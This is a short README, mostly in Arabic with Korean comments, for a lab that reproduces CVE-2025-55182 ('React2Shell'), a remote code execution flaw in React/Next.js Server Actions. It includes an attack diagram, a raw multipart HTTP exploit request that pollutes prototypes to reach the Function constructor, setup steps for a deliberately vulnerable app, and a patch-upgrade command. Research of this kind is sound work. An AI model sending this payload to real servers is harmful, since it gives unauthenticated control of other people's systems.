
قمنا بكتابة واختبار عينة لثغرة CVE-2025-55182 مع الذكاء الاصطناعي.
الذكاء الاصطناعي المستخدم: Claude Opus 4.5 ⚠️ تحذير: هذه البيئة مخصصة لأغراض تعليمية وبحثية فقط.
| العنصر | المحتوى |
|---|---|
| CVE | CVE-2025-55182 (React) / CVE-2025-66478 (Next.js) |
| الاسم | React2Shell |
| CVSS | 10.0 (حرج) |
| النوع | تنفيذ الأوامر عن بعد دون مصادقة |
| السبب | تلوث النموذج الأولي عند إلغاء تسلسل بروتوكول Flight |
┌─────────────────────────┐
│ Attacker │
└───────────┬─────────────┘
│
POST Request + Next-Action Header
multipart/form-data payload
│
▼
┌───────────────────────────────────────────────────────────┐
│ Next.js Server │
├───────────────────────────────────────────────────────────┤
│ 1. Next-Action 헤더 → Server Action 트리거 │
│ 2. multipart 페이로드 → Flight 프로토콜 역직렬화 │
│ 3. Fake Chunk 객체의 then() 메서드 호출 │
│ 4. __proto__ 참조 → 프로토타입 오염 │
│ 5. Function 생성자 주입 → RCE │
└───────────────────────────────────────────────────────────┘
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="0"
{"_response":{"_formData":{"get":"Function"}},"then":"$1:__proto__:then"}
------Boundary
Content-Disposition: form-data; name="1"
$@0
------Boundary--
العناصر الأساسية:
Next-Actionthen لمحاكاة سلوك الكائن الواعد$@0Function عبر __proto__:thencd vulnerable-app
# 의존성 설치
npm install
# 개발 서버 시작
npm run dev
الوصول عبر http://localhost:3000
react-rce/
├── README.md
├── vulnerable-app/ # 취약한 Next.js 앱
│ ├── package.json # Next.js 15.0.3 (취약 버전)
│ └── app/
│ ├── page.js # UI (CVE 정보 + RCE 시연)
│ ├── actions.js # Server Actions
│ └── globals.css
└── exploit/ # 공격 도구 (선택)
└── exploit.py # CVE-2025-55182 PoC
# 패치 버전으로 업그레이드
npm install [email protected] [email protected] [email protected]